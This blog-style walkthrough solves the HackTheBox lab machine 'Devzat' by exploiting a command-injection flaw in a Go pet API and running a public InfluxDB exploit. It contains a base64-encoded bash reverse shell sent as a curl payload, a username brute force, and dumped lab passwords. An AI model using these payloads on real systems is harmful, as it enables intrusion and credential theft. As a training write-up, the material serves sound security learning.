19 minute read

Machine Information

devzat

Devzat is a medium machine on HackTheBox. After an initial scan we find a version of the developers chat system called Devzat. Further enumeration reveals a git repo containing the source code. In there we find a way to exploit the system and get a reverse shell. Via an SSH tunnel we discover an vulnerable version of InfluxDB. Exploiting it gets us user creds which leads to a backup of the dev site version of the chat system. After reviewing the code we discover a way to read files from within the dev version of the chat system, which lets us retrieve the root flag to complete the box.

Skills required are enumeration and an ability to read code. Skills learned are finding and using exploits, discovering and taking advantage of errors in the logic of source code.

Details  
Hosting Site HackTheBox
Link To Machine HTB - Medium - Devzat
Machine Release Date 16th October 2021
Date I Completed It 28th October 2021
Distribution Used Kali 2021.3 – Release Info

Initial Recon

As always let’s start with Nmap:

┌──(root💀kali)-[~/htb/devzat]
└─# ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.118 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) 

┌──(root💀kali)-[~/htb/devzat]
└─# nmap -p$ports -sC -sV -oA devzat 10.10.11.118
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-28 21:45 BST
Nmap scan report for 10.10.11.118
Host is up (0.023s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c2:5f:fb:de:32:ff:44:bf:08:f5:ca:49:d4:42:1a:06 (RSA)
|   256 bc:cd:e8:ee:0a:a9:15:76:52:bc:19:a4:a3:b2:ba:ff (ECDSA)
|_  256 62:ef:72:52:4f:19:53:8b:f2:9b:be:46:88:4b:c3:d0 (ED25519)
80/tcp   open  http    Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://devzat.htb/
8000/tcp open  ssh     (protocol 2.0)
| fingerprint-strings: 
|   NULL: 
|_    SSH-2.0-Go
| ssh-hostkey: 
|_  3072 6a:ee:db:90:a6:10:30:9f:94:ff:bf:61:95:2a:20:63 (RSA)
SF-Port8000-TCP:V=7.91%I=7%D=10/28%Time=617B0C07%P=x86_64-pc-linux-gnu%r(N
SF:ULL,C,"SSH-2\.0-Go\r\n");
Service Info: Host: devzat.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap done: 1 IP address (1 host up) scanned in 37.72 seconds

We have three open ports. OpenSSH on 22, Apache on 80 and an unrecognised SSH service on port 8000.

First let’s put the box name in our hosts file:

┌──(root💀kali)-[~/htb/devzat]
└─# echo "10.10.11.118 devzat.htb" >> /etc/hosts

Website

Now let’s look at the website:

devzat

Devzat Chat

It’s a simple single page with details of a developers chat system and connection information:

devzat-

Now we know what’s on port 8000. Let’s give it a try:

┌──(root💀kali)-[~/htb/devzat]
└─# ssh -l pencer devzat.htb -p 8000

devbot: You seem to be new here . Welcome to Devzat! Run /help to see what you can do.
Welcome to the chat. There are no more users
devbot: pencer has joined the chat
pencer: /help

[SYSTEM] Welcome to Devzat! Devzat is chat over SSH: github.com/quackduck/devzat
[SYSTEM] Because there's SSH apps on all platforms, even on mobile, you can join from anywhere.
[SYSTEM] 
[SYSTEM] Interesting features:
[SYSTEM] • Many, many commands. Run /commands.
[SYSTEM] • Rooms! Run /room to see all rooms and use /room #foo to join a new room.
[SYSTEM] • Markdown support! Tables, headers, italics and everything. Just use in place of newlines.
[SYSTEM] • Code syntax highlighting. Use Markdown fences to send code. Run /example-code to see an example.
[SYSTEM] • Direct messages! Send a quick DM using =user <msg> or stay in DMs by running /room @user.
[SYSTEM] • Timezone support, use /tz Continent/City to set your timezone.
[SYSTEM] • Built in Tic Tac Toe and Hangman! Run /tic or /hang <word> to start new games.
[SYSTEM] • Emoji replacements! (like on Slack and Discord)
[SYSTEM] 
[SYSTEM] For replacing newlines, I often use bulkseotools.com/add-remove-line-breaks.php.
[SYSTEM] 
[SYSTEM] Made by Ishan Goel with feature ideas from friends.
[SYSTEM] Thanks to Caleb Denio for lending his server!
[SYSTEM] 
[SYSTEM] For a list of commands run

This is a version of Devzat available on Github here. We might need to dig in to that source code later, for now we can check what commands are available:

[SYSTEM] ┃ /commands
pencer: /commands
[SYSTEM] Commands
[SYSTEM] clear - Clears your terminal
[SYSTEM] message - Sends a private message to someone
[SYSTEM] users - Gets a list of the active users
[SYSTEM] all - Gets a list of all users who has ever connected
[SYSTEM] exit - Kicks you out of the chat incase your client was bugged
[SYSTEM] bell - Toggles notifications when you get pinged
[SYSTEM] room - Changes which room you are currently in
[SYSTEM] id - Gets the hashed IP of the user
[SYSTEM] commands - Get a list of commands
[SYSTEM] nick - Change your display name
[SYSTEM] color - Change your display name color
[SYSTEM] timezone - Change how you view time
[SYSTEM] emojis - Get a list of emojis you can use
[SYSTEM] help - Get generic info about the server
[SYSTEM] tictactoe - Play tictactoe
[SYSTEM] hangman - Play hangman
[SYSTEM] shrug - Drops a shrug emoji
[SYSTEM] ascii-art - Bob ross with text
[SYSTEM] example-code - Hello world!

We can use the available commands but nothing useful is available here:

pencer: /emojis
[SYSTEM] Check out github.com/ikatyang/emoji-cheat-sheet
pencer: /users
[SYSTEM] [pencer]
pencer: /all
[SYSTEM] [/all hello hello pencer plssub SYSTEM test test]
pencer: /shrug
pencer: ¯(ツ)/¯
pencer: /id
[SYSTEM] a1ccf7c03332a87bb3cb8e401cbeeca365de4b9a847f48e44d9d5baf0410cf45
pencer: /room
[SYSTEM] You are currently in #main
[SYSTEM] Rooms and users
[SYSTEM] #main: [pencer]
pencer: /example-code
[SYSTEM] ┃ package main
         ┃ import "fmt"
         ┃ func main() {
         ┃    fmt.Println("Example!")
         ┃ }
pencer: /exit
Connection to devzat.htb closed.

Gobuster

Let’s drop out and do some enumeration to see if there is anything else we can find:

┌──(root💀kali)-[~/htb/devzat]
└─# gobuster vhost -t 100 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://devzat.htb -o results.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:          http://devzat.htb
[+] Method:       GET
[+] Threads:      100
[+] Wordlist:     /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
===============================================================
2021/10/28 22:16:00 Starting gobuster in VHOST enumeration mode
===============================================================
Found: mail2.devzat.htb (Status: 302) [Size: 284]
Found: autoconfig.devzat.htb (Status: 302) [Size: 289]
<SNIP>
Found: ip204-109.devzat.htb (Status: 302) [Size: 288]                                              
Found: sugiyama1.devzat.htb (Status: 302) [Size: 288]                                              
===============================================================
2021/10/28 22:16:37 Finished
===============================================================

┌──(root💀kali)-[~/htb/devzat]
└─# cat results.txt | grep "Status: 20"
Found: pets.devzat.htb (Status: 200) [Size: 510]

We find a subdomain called pets. Add to hosts file and then look in a browser:

devzat-pets

We can add our own pet, but it doesn’t do anything interesting. A look in Burp just reveals the two fields that get posted:

devzat-burp

Interacting With Pets

We can also do this from the terminal:

┌──(root💀kali)-[~/htb/devzat]
└─# curl -d '{"name":"test1","species":"giraffe"}' -X POST http://pets.devzat.htb/api/pet
Pet was added successfully

Time for more enumeration. This time let’s look at the pets subdomain for interesting folders:

┌──(root💀kali)-[~/htb/devzat]
└─# gobuster dir -t 100 -w /usr/share/wordlists/dirb/common.txt -u http://pets.devzat.htb/ --exclude-length 510 
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://pets.devzat.htb/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] Exclude Length:          510
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/10/28 22:41:08 Starting gobuster in directory enumeration mode
===============================================================
/build                (Status: 301) [Size: 42] [--> /build/]
/css                  (Status: 301) [Size: 40] [--> /css/]  
/.git/HEAD            (Status: 200) [Size: 23]              
/server-status        (Status: 403) [Size: 280]             
===============================================================
2021/10/28 22:41:14 Finished
===============================================================

Git Repo

My eyes are drawn to the .git folder. Why would that be on there? Let’s have a look:

┌──(root💀kali)-[~/htb/devzat]
└─# curl http://pets.devzat.htb/.git/
<pre>
<a href="COMMIT_EDITMSG">COMMIT_EDITMSG</a>
<a href="HEAD">HEAD</a>
<a href="branches/">branches/</a>
<a href="config">config</a>
<a href="description">description</a>
<a href="hooks/">hooks/</a>
<a href="index">index</a>
<a href="info/">info/</a>
<a href="logs/">logs/</a>
<a href="objects/">objects/</a>
<a href="refs/">refs/</a>
</pre>

We can see it’s a git repositoty, there’s a few files and a number of folders:

┌──(root💀kali)-[~/htb/devzat]
└─# curl http://pets.devzat.htb/.git/COMMIT_EDITMSG
back again to localhost only

┌──(root💀kali)-[~/htb/devzat]
└─# curl http://pets.devzat.htb/.git/logs/HEAD     
0000000000000000000000000000000000000000 8274d7a547c0c3854c074579dfc359664082a8f6 patrick <patrick@devzat.htb> 1624391552 +0000 commit (initial): init
8274d7a547c0c3854c074579dfc359664082a8f6 464614f32483e1fde60ee53f5d3b4d468d80ff62 patrick <patrick@devzat.htb> 1624474943 +0000 commit: fixed broken fonts
464614f32483e1fde60ee53f5d3b4d468d80ff62 ef07a04ebb2fc92cf74a39e0e4b843630666a705 patrick <patrick@devzat.htb> 1624475172 +0000 commit: back again to localhost only

Gitdumper

We need to dump the git repo so we can look around it easily. In a previous box called Travel we used GitDumper, let’s do that again:

┌──(root💀kali)-[~/htb/devzat]
└─# git clone https://github.com/internetwache/GitTools.git
Cloning into 'GitTools'...
remote: Enumerating objects: 229, done.
remote: Counting objects: 100% (20/20), done.
remote: Compressing objects: 100% (16/16), done.
remote: Total 229 (delta 6), reused 7 (delta 2), pack-reused 209
Receiving objects: 100% (229/229), 52.92 KiB | 1.65 MiB/s, done.
Resolving deltas: 100% (85/85), done.
                         
┌──(root💀kali)-[~/htb/devzat/GitTools/Dumper]
└─# ./gitdumper.sh http://pets.devzat.htb/.git/ pets_git
###########
# GitDumper is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances. 
# Only for educational purposes!
###########
[*] Destination folder does not exist
[+] Creating pets_git/.git/
[+] Downloaded: HEAD
[-] Downloaded: objects/info/packs
[+] Downloaded: description
[+] Downloaded: config
[+] Downloaded: COMMIT_EDITMSG
<SNIP>
[+] Downloaded: objects/f3/3e8162997aaa9da582aa81428ee87aa48953a6
[+] Downloaded: objects/73/c1a4d5d156b6ddc62a7e3eba1c206bd6ad19c8
[+] Downloaded: objects/dc/52d954d8d7f62c82cf63236d27093764a3d046

Now we need to extract the dump:

┌──(root💀kali)-[~/htb/devzat]
└─# ./GitTools/Extractor/extractor.sh pets_git extracted
###########
# Extractor is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances. 
# Only for educational purposes!
###########
[*] Destination folder does not exist
[*] Creating...
[+] Found commit: 8274d7a547c0c3854c074579dfc359664082a8f6
[+] Found file: /root/htb/devzat/extracted/0-8274d7a547c0c3854c074579dfc359664082a8f6/.gitignore
[+] Found folder: /root/htb/devzat/extracted/0-8274d7a547c0c3854c074579dfc359664082a8f6/characteristics
[+] Found file: /root/htb/devzat/extracted/0-8274d7a547c0c3854c074579dfc359664082a8f6/characteristics/bluewhale
<SNIP>
[+] Found file: /root/htb/devzat/extracted/2-ef07a04ebb2fc92cf74a39e0e4b843630666a705/static/src/App.svelte
[+] Found file: /root/htb/devzat/extracted/2-ef07a04ebb2fc92cf74a39e0e4b843630666a705/static/src/main.js

Now we can look inside the git repo locally:

┌──(root💀kali)-[~/htb/devzat]
└─# cd extracted 

┌──(root💀kali)-[~/htb/devzat/extracted]
└─# ls     
0-8274d7a547c0c3854c074579dfc359664082a8f6
1-464614f32483e1fde60ee53f5d3b4d468d80ff62 
2-ef07a04ebb2fc92cf74a39e0e4b843630666a705

┌──(root💀kali)-[~/htb/devzat/extracted]
└─# ls 0-8274d7a547c0c3854c074579dfc359664082a8f6 
characteristics  commit-meta.txt  go.mod  go.sum  main.go  petshop  start.sh  static

We have the three commits we saw earlier. Looking in the first one we can see it is the source code for the pets site we’ve just been looking at. Digging in to the main.go file we find this section:

var (
        Pets []Pet = []Pet{
                {Name: "Cookie", Species: "cat", Characteristics: loadCharacter("cat")},
                {Name: "Mia", Species: "cat", Characteristics: loadCharacter("cat")},
                {Name: "Chuck", Species: "dog", Characteristics: loadCharacter("dog")},
                {Name: "Balu", Species: "dog", Characteristics: loadCharacter("dog")},
                {Name: "Georg", Species: "gopher", Characteristics: loadCharacter("gopher")},
                {Name: "Gustav", Species: "giraffe", Characteristics: loadCharacter("giraffe")},
                {Name: "Rudi", Species: "redkite", Characteristics: loadCharacter("redkite")},
                {Name: "Bruno", Species: "bluewhale", Characteristics: loadCharacter("bluewhale")},
        }
)

func loadCharacter(species string) string {
        cmd := exec.Command("sh", "-c", "cat characteristics/"+species)
        stdoutStderr, err := cmd.CombinedOutput()
        if err != nil {
                return err.Error()
        }
        return string(stdoutStderr)
}

Pingback

This is the section that handles the pet names and species. The loadCharacter function has a strange command execution line where it doesn’t sanitise the user input. We should be able to take advantage of this. Let’s test it by pinging our Kali machine from the box:

┌──(root💀kali)-[~/htb/devzat/extracted/0-8274d7a547c0c3854c074579dfc359664082a8f6]
└─# curl -d '{"name":"pencer","species":"giraffe;ping -c 4 10.10.14.235"}' -X POST http://pets.devzat.htb/api/pet
Pet was added successfully

TCPDump

Above I’ve used curl like before with a semi-colon after giraffe and then my ping command. With tcpdump listening in another terminal we can see the pings were received:

┌──(root💀kali)-[~/htb/devzat]
└─# tcpdump icmp -i tun0      
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
23:10:45.396719 IP devzat.htb > 10.10.14.235: ICMP echo request, id 11, seq 1, length 64
23:10:45.396729 IP 10.10.14.235 > devzat.htb: ICMP echo reply, id 11, seq 1, length 64
23:10:46.398232 IP devzat.htb > 10.10.14.235: ICMP echo request, id 11, seq 2, length 64
23:10:46.398241 IP 10.10.14.235 > devzat.htb: ICMP echo reply, id 11, seq 2, length 64
23:10:47.399926 IP devzat.htb > 10.10.14.235: ICMP echo request, id 11, seq 3, length 64
23:10:47.399936 IP 10.10.14.235 > devzat.htb: ICMP echo reply, id 11, seq 3, length 64
23:10:48.401262 IP devzat.htb > 10.10.14.235: ICMP echo request, id 11, seq 4, length 64
23:10:48.401273 IP 10.10.14.235 > devzat.htb: ICMP echo reply, id 11, seq 4, length 64

Reverse Shell

That worked as expected, we can now try with a reverse shell. My go to one didn’t work, so I needed to base64 encode it:

┌──(root💀kali)-[~/htb/devzat/extracted/0-8274d7a547c0c3854c074579dfc359664082a8f6]
└─# echo -n 'bash -i >& /dev/tcp/10.10.15.40/1337 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS40MC8xMzM3IDA+JjE=

┌──(root💀kali)-[~/htb/devzat/extracted/0-8274d7a547c0c3854c074579dfc359664082a8f6]
└─# curl -d '{"name":"pencer","species":"giraffe;echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS40MC8xMzM3IDA+JjE= | base64 -d | bash"}  ' -X POST http://pets.devzat.htb/api/pet

Now switch to a waiting netcat listener:

┌──(root💀kali)-[~/htb/devzat]
└─# nc -lvvp 1337                              
listening on [any] 1337 ...
connect to [10.10.15.40] from devzat.htb [10.10.11.118] 42062
bash: cannot set terminal process group (823): Inappropriate ioctl for device
bash: no job control in this shell
patrick@devzat:~/pets$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
patrick@devzat:~/pets$ ^Z
zsh: suspended  nc -lvvp 1337
┌──(root💀kali)-[~/htb/devzat]
└─# stty raw -echo; fg
[1]  + continued  nc -lvvp 1337
patrick@devzat:~/pets$

With the shell upgraded to something a little more useable I had a quick look around:

patrick@devzat:~/pets$ ls -lsa /home       
4 drwxr-xr-x  5 catherine catherine 4096 Oct 31 20:46 catherine
4 drwxr-xr-x  9 patrick   patrick   4096 Sep 24 14:57 patrick

patrick@devzat:~/pets$ ls -lsa /home/patrick
0 lrwxrwxrwx 1 root    root       9 Jun 22 20:40 .bash_history -> /dev/null
4 -rw-r--r-- 1 patrick patrick  220 Feb 25  2020 .bash_logout
4 -rw-r--r-- 1 patrick patrick 3809 Jun 22 18:43 .bashrc
4 drwx------ 3 patrick patrick 4096 Jun 22 20:17 .cache
4 drwx------ 3 patrick patrick 4096 Jun 23 16:00 .config
4 drwxr-x--- 2 patrick patrick 4096 Sep 23 15:07 devzat
4 -rw-rw-r-- 1 patrick patrick   51 Jun 22 19:52 .gitconfig
4 drwxrwxr-x 3 patrick patrick 4096 Jun 22 18:51 go
4 drwxrwxr-x 4 patrick patrick 4096 Jun 22 18:50 .npm
4 drwxrwx--- 5 patrick patrick 4096 Jun 23 19:05 pets
4 -rw-r--r-- 1 patrick patrick  807 Feb 25  2020 .profile
4 drwxrwxr-x 2 patrick patrick 4096 Sep 29 16:33 .ssh

SSH As Patrick

We see there’s just two users, and the flag isn’t in Patrick’s home folder. So we can assume we need to escalate to Catherine next. Patrick has a private SSH key so I’l drop out of this reverse shell and log in via SSH as him for a better connection:

patrick@devzat:~/pets$ cd /home/patrick/

patrick@devzat:~$ cat .ssh/id_rsa 
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
<SNIP>
n3LMfTlr/Fl0V3AAAADnBhdHJpY2tAZGV2emF0AQIDBA==
-----END OPENSSH PRIVATE KEY-----

Copy this key and echo to a file on Kali:

──(root💀kali)-[~/htb/devzat]
└─# echo "-----BEGIN OPENSSH PRIVATE KEY-----   
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
<SNIP>
n3LMfTlr/Fl0V3AAAADnBhdHJpY2tAZGV2emF0AQIDBA==
-----END OPENSSH PRIVATE KEY-----" > id_rsa                 

┌──(root💀kali)-[~/htb/devzat]
└─# chmod 600 id_rsa

Now SSH in using the private key:

┌──(root💀kali)-[~/htb/devzat]
└─# ssh -i id_rsa patrick@devzat.htb
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64)
Last login: Sun Oct 31 20:38:41 2021 from 10.10.14.37
patrick@devzat:~$ 

Netstat

As usual let’s have a look at a few obvious things first, if nothing jumps out then we can bring LinPEAS over to help. When I got to looking at open ports I noticed something interesting:

patrick@devzat:~$ netstat -tunepl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       User       Inode      PID/Program name    
tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN      1000       36107      838/./petshop       
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      101        32508      -                   
tcp        0      0 127.0.0.1:8086          0.0.0.0:*               LISTEN      0          36829      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      0          34658      -                   
tcp        0      0 127.0.0.1:8443          0.0.0.0:*               LISTEN      0          36030      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      0          36126      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      0          34660      -                   
tcp6       0      0 :::8000                 :::*                    LISTEN      1000       36036      840/./devchat       
udp        0      0 127.0.0.53:53           0.0.0.0:*                           101        32424      -   

There’s ports listening on localhost/127.0.0.1 that didn’t show up in the nmap scan. We can look for processes running on that address:

patrick@devzat:~$ ps -ef | grep 127.0.0.1
root        1253     996  0 20:33 ?        00:00:00 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8086 -container-ip 172.17.0.2 -container-port 8086

SSH Tunneling

A docker container is definitely worth looking at further. To interact with that we’ll need to tunnel a port from Kali to the box. Just like we did on the HackTheBox machine Explore let’s create an SSH connection and forward any local access to port 8086 across to devzat:

┌──(root💀kali)-[~/htb/devzat]
└─# ssh -L 8086:localhost:8086 -i id_rsa patrick@devzat.htb                                                                                                                     
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64)
Last login: Sun Oct 31 21:25:50 2021 from 10.10.15.40
patrick@devzat:~$ 

Now when we try to access port 8086 locally it gets passed across to the box:

┌──(root💀kali)-[~/htb/devzat]
└─# curl http://localhost:8086 
404 page not found

NMAP Scan

A quick scan of the port reveals it is hosting an InfluxDB:

┌──(root💀kali)-[~/htb/devzat]
└─# nmap -p 8086 -sV localhost
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-31 21:41 GMT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000024s latency).
Other addresses for localhost (not scanned): ::1

PORT     STATE SERVICE VERSION
8086/tcp open  http    InfluxDB http admin 1.7.5

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.87 seconds

InfluxDB

A look at the release notes for InfluxDB version 1.7.6 reveals this:

Fix security vulnerability when [http]shared-secret configuration setting is blank.

So 1.7.5 is vulnerable and a search for an exploit comes up as a first hit on Google:

devzat-influx

Let’s grab the exploit and run as described here:

┌──(root💀kali)-[~/htb/devzat]
└─# git clone https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933.git
Cloning into 'InfluxDB-Exploit-CVE-2019-20933'...
remote: Enumerating objects: 20, done.
remote: Counting objects: 100% (20/20), done.
remote: Compressing objects: 100% (20/20), done.
remote: Total 20 (delta 5), reused 4 (delta 0), pack-reused 0
Receiving objects: 100% (20/20), 5.97 KiB | 2.98 MiB/s, done.
Resolving deltas: 100% (5/5), done.
Command 'pip' not found, but can be installed with:
apt install python3-pip
Do you want to install it? (N/y)y
apt install python3-pip
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
<SNIP>
Preparing to unpack .../python3-pip_20.3.4-4_all.deb ...
Unpacking python3-pip (20.3.4-4) ...
Setting up python3-wheel (0.34.2-1) ...
Setting up python3-pip (20.3.4-4) ...
Processing triggers for man-db (2.9.4-2) ...
Processing triggers for kali-menu (2021.4.0) ...
                         
┌──(root💀kali)-[~/htb/devzat/InfluxDB-Exploit-CVE-2019-20933]
└─# pip install -r requirements.txt
Collecting pip~=21.0.1
  Downloading pip-21.0.1-py3-none-any.whl (1.5 MB)
     |████████████████████████████████| 1.5 MB 3.6 MB/s 
Requirement already satisfied: pytz~=2021.1 in /usr/lib/python3/dist-packages (from -r requirements.txt (line 2)) (2021.1)
<SNIP>
Successfully installed PyJWT-2.0.1 certifi-2020.12.5 idna-3.3 influxdb-5.3.1 numpy-1.20.3 pandas-1.2.5 pip-21.0.1 setuptools-56.0.0 six-1.15.0

Exploiting InfluxDB

I had to install pip first as this Kali install didn’t have it yet. After that I installed the requirements, so now we can run the exploit:

┌──(root💀kali)-[~/htb/devzat/InfluxDB-Exploit-CVE-2019-20933]
└─# python3 __main__.py            
  _____        __ _            _____  ____    ______            _       _ _   
 |_   _|      / _| |          |  __ \|  _ \  |  ____|          | |     (_) |
   | |  _ __ | |_| |_   ___  __ |  | | |_) | | |__  __  ___ __ | | ___  _| |
   | | | '_ \|  _| | | | \ \/ / |  | |  _ <  |  __| \ \/ / '_ \| |/ _ \| | __|
  _| |_| | | | | | | |_| |>  <| |__| | |_) | | |____ >  <| |_) | | (_) | | |_
 |_____|_| |_|_| |_|\__,_/_/\_\_____/|____/  |______/_/\_\ .__/|_|\___/|_|\__|
                                                         | |
                                                         |_|
CVE-2019-20933

Insert ip host (default localhost): 
Insert port (default 8086): 
Insert influxdb user (wordlist path to bruteforce username): /usr/share/seclists/Usernames/Names/names.txt

Start username bruteforce
[x] aaliyah
[x] aaren
<SNIP>
[x] aditya
[v] admin

Host vulnerable !!!
Databases list:

1) devzat
2) _internal

Insert database name (exit to close): devzat

The exploit worked and we have connected to the database. This next bit took me a long time, but eventually I found this worked:

[devzat] Insert query (exit to change db): select * from "user"
{
    "results": [
        {
            "series": [
                {
                    "columns": [
                        "time",
                        "enabled",
                        "password",
                        "username"
                    ],
                    "name": "user",
                    "values": [
                        [
                            "2021-06-22T20:04:16.313965493Z",
                            false,
                            "WillyWonka2021",
                            "wilhelm"
                        ],
                        [
                            "2021-06-22T20:04:16.320782034Z",
                            true,
                            "woBeeYareedahc7Oogeephies7Aiseci",
                            "catherine"
                        ],
                        [
                            "2021-06-22T20:04:16.996682002Z",
                            true,
                            "RoyalQueenBee$",
                            "charles"
                        ]
                    ]
                }
            ],
            "statement_id": 0
        }
    ]
}

Switch User To Catherine

We have three users and what looks to be passwords. We know Catherine is the second user on the box, trying to SSH in as her didn’t work but we can switch user:

patrick@devzat:~$ su catherine
Password: 

Enumerating for anything owned by Catherine showed something interesting:

catherine@devzat:~$ find / -group catherine -not -path "/proc/*" 2> /dev/null
/home/catherine
/home/catherine/.profile
/home/catherine/.cache
/home/catherine/.cache/motd.legal-displayed
/home/catherine/.bashrc
/home/catherine/.ssh
/home/catherine/.ssh/id_rsa.pub
/home/catherine/.ssh/id_rsa
/home/catherine/.ssh/known_hosts
/home/catherine/.ssh/authorized_keys
/home/catherine/user.txt
/home/catherine/.gnupg
/home/catherine/.gnupg/private-keys-v1.d
/home/catherine/.bash_logout
/var/backups/devzat-main.zip
/var/backups/devzat-dev.zip

Discovered Backups

Backups of the main and dev sites, worth a look why Catherine owns them:

catherine@devzat:~$ cp /var/backups/devzat-main.zip /dev/shm
catherine@devzat:~$ cp /var/backups/devzat-dev.zip /dev/shm
catherine@devzat:~$ cd /dev/shm/
catherine@devzat:/dev/shm$ unzip devzat-dev.zip 
Archive:  devzat-dev.zip
   creating: dev/
  inflating: dev/go.mod              
<SNIP>
 extracting: dev/allusers.json       

catherine@devzat:/dev/shm$ unzip devzat-main.zip 
Archive:  devzat-main.zip
   creating: main/
  inflating: main/go.mod             
<SNIP>
  inflating: main/allusers.json      

Diffing Files

We can use diff to check the two folders for changes:

catherine@devzat:/dev/shm$ find dev -type f|sort|xargs ls -l| awk '{print $5,$8}' > dev.txt
catherine@devzat:/dev/shm$ find main -type f|sort|xargs ls -l| awk '{print $5,$8}' > main.txt
catherine@devzat:/dev/shm$ diff dev.txt main.txt 
1c1
< 3 06:37
---
> 108 06:38
5,6c5,6
< 13827 18:35
< 11341 06:56
---
> 12403 18:35
> 11332 06:54
16d15
< 356 18:35

Three files slightly different, we can use diff again to see for each file:

catherine@devzat:/dev/shm$ diff dev/devchat.go main/devchat.go 
27c27
<       port = 8443
---
>       port = 8000
114c114
<               fmt.Sprintf("127.0.0.1:%d", port),
---
>               fmt.Sprintf(":%d", port),

Code Review

We see the dev version of the devchat.go file has port 8443 in it. We accessed port 8000 externally before to get to the chat, so this shows us port 8443 is used internally within the box to get to the dev version.

A grep for 8443 of the files finds this:

catherine@devzat:/dev/shm$ grep -rn "8443"
main/devchat.go:194:            u.writeln("patrick", "I implemented it. If you want to check it out you could connect to the local dev instance on port 8443.")
dev/devchat.go:27:      port = 8443
dev/devchat.go:194:             u.writeln("patrick", "I implemented it. If you want to check it out you could connect to the local dev instance on port 8443.")

Which confirms we are to access the dev instance locally on the box. A diff of commands.go shows these difference:

catherine@devzat:/dev/shm$ diff dev/commands.go main/commands.go 
<SNIP>
<               file        = commandInfo{"file", "Paste a files content directly to chat [alpha]", fileCommand, 1, false, nil}
<SNIP>
< func fileCommand(u *user, args []string) {
<       if len(args) < 1 {
<               u.system("Please provide file to print and the password")
<               return
<       }
<       if len(args) < 2 {
<               u.system("You need to provide the correct password to use this function")
<               return
<       }
<       path := args[0]
<       pass := args[1]
< 
<       // Check my secure password
<       if pass != "CeilingCatStillAThingIn2021?" {
<               u.system("You did provide the wrong password")
<               return
<       }

A new command that only exists in the dev version allows us to read a file and display directly in the chat. We just need a password which is handily provided in the code!

SSH As Catherine

Let’s connect:

catherine@devzat:~$ ssh -p 8443 catherine@localhost
patrick: Hey Catherine, glad you came.
catherine: Hey bud, what are you up to?
patrick: Remember the cool new feature we talked about the other day?
catherine: Sure
patrick: I implemented it. If you want to check it out you could connect to the local dev instance on port 8443.
catherine: Kinda busy right now 👔
patrick: That's perfectly fine 👍  You'll need a password which you can gather from the source. I left it in our default backups location.
catherine: k
patrick: I also put the main so you could diff main dev if you want.
catherine: Fine. As soon as the boss let me off the leash I will check it out.
patrick: Cool. I am very curious what you think of it. Consider it alpha state, though. Might not be secure yet. See ya!
devbot: patrick has left the chat
Welcome to the chat. There are no more users
devbot: catherine has joined the chat
catherine:

Root Flag

Now we can easily grab the root flag:

catherine: /file ../root.txt CeilingCatStillAThingIn2021?
[SYSTEM] 374fe32e1eb4e8585a85d0d89883b636

All done. See you next time.

Comments